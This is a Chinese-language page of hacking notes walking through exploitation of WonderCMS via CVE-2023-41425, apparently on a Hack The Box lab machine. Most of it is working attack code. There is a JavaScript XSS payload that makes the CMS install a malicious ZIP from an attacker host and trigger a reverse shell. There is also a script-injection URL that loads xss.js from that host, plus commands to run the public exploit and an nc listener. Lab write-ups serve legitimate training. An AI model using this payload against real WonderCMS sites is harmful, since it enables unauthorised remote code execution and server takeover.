> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/wonder-cms-exploitation.md).

# Wonder

## 漏洞奇观 /\[CVE-2023-41425]

搜索 CMS 漏洞会发现一个 XSS 到 RCE 的问题。

{% embed url="<https://github.com/prodigiousMind/CVE-2023-41425?tab=readme-ov-file>" %}

**用于获取 shell 的 JavaScript 代码：**/ 以下 JavaScript 会下载一个包含反向 shell 脚本的恶意 ZIP 文件，并在服务器上执行它：

```javascript
// 服务器在使用 JavaScript 解析域名时存在一些问题
// 我们可以直接按要求提供目标 URL 参数
var whateverURL = "http://sea.htb"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
// 修改在 HTTP 服务器上提供的 ZIP 文件路径
var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // 访问上传的 ZIP 文件中的 rev.php
   xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "10.10.14.89";
       var port = "4444";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // 触发反向 shell 脚本并提供监听 IP 和端口
       xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};
```

**安装 CVE-2023-41425 的利用脚本：**

```bash
git clone https://github.com/prodigiousMind/CVE-2023-41425
cd CVE-2023-41425
```

运行利用脚本：

```bash
python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444
```

该脚本通过 `xss.js`，从而提供 RCE 并控制目标。

<figure><img src="/files/69fce4251f8175ea218300b486dd24e9cb9c5113" alt=""><figcaption></figcaption></figure>

**最后一步：**

通过 `contact.php` 表单触发恶意链接：

{% code fullWidth="true" %}

```
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.89:8000/xss.js"></script><form+action="
```

{% endcode %}

<figure><img src="/files/b7e8b36d0c725900fe87c47e5fafc1384ff60d01" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8f1d5f09a976b8d91fbf663a9b367f2d0ed867f0" alt=""><figcaption></figcaption></figure>

**设置一个 Netcat 监听器：**/ 在 4444 端口启动监听器：

```bash
nc -nlvp 4444
```

<figure><img src="/files/269d5109d758787e672bab37e5bbbb353950f2d9" alt=""><figcaption></figcaption></figure>


---

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